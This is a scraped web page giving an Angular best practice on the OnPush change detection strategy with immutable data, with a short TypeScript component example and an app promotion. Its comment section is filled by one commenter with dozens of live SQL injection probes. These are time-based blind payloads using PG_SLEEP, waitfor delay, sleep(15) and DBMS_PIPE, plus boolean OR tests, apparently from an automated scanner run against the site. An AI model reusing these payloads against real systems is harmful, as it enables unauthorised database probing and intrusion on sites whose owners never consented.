BP177: Use the OnPush change detection strategy with immutable data structures

The OnPush change detection strategy is a performance optimization technique in Angular that reduces the number of times Angular checks for changes in the component tree. By default, Angular uses the default change detection strategy, which checks for changes in all components and their children every time a user event or asynchronous operation occurs. This can lead to performance issues, especially in large applications with complex component trees.

Immutable data structures are data structures that cannot be changed once they are created. This means that any changes to the data must create a new copy of the data structure. Immutable data structures are useful in Angular because they allow for more efficient change detection. When a change is made to an immutable data structure, Angular can quickly determine if the data has changed by comparing the reference to the old data structure with the reference to the new data structure. This is much faster than checking each property of the data structure for changes.

Here is an example of how to use the OnPush change detection strategy with immutable data structures:

@Component({
  selector: 'app-example',
  templateUrl: './example.component.html',
  changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleComponent {
  data: ReadonlyArray<string> = ['one', 'two', 'three'];

  addItem(item: string) {
    this.data = [...this.data, item];
  }
}
In this example, the component uses the OnPush change detection strategy by setting the changeDetection property to ChangeDetectionStrategy.OnPush. The data property is an immutable data structure created using the ReadonlyArray type. When the addItem method is called, it creates a new copy of the data structure using the spread operator. This triggers change detection in the component and updates the view with the new data.

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e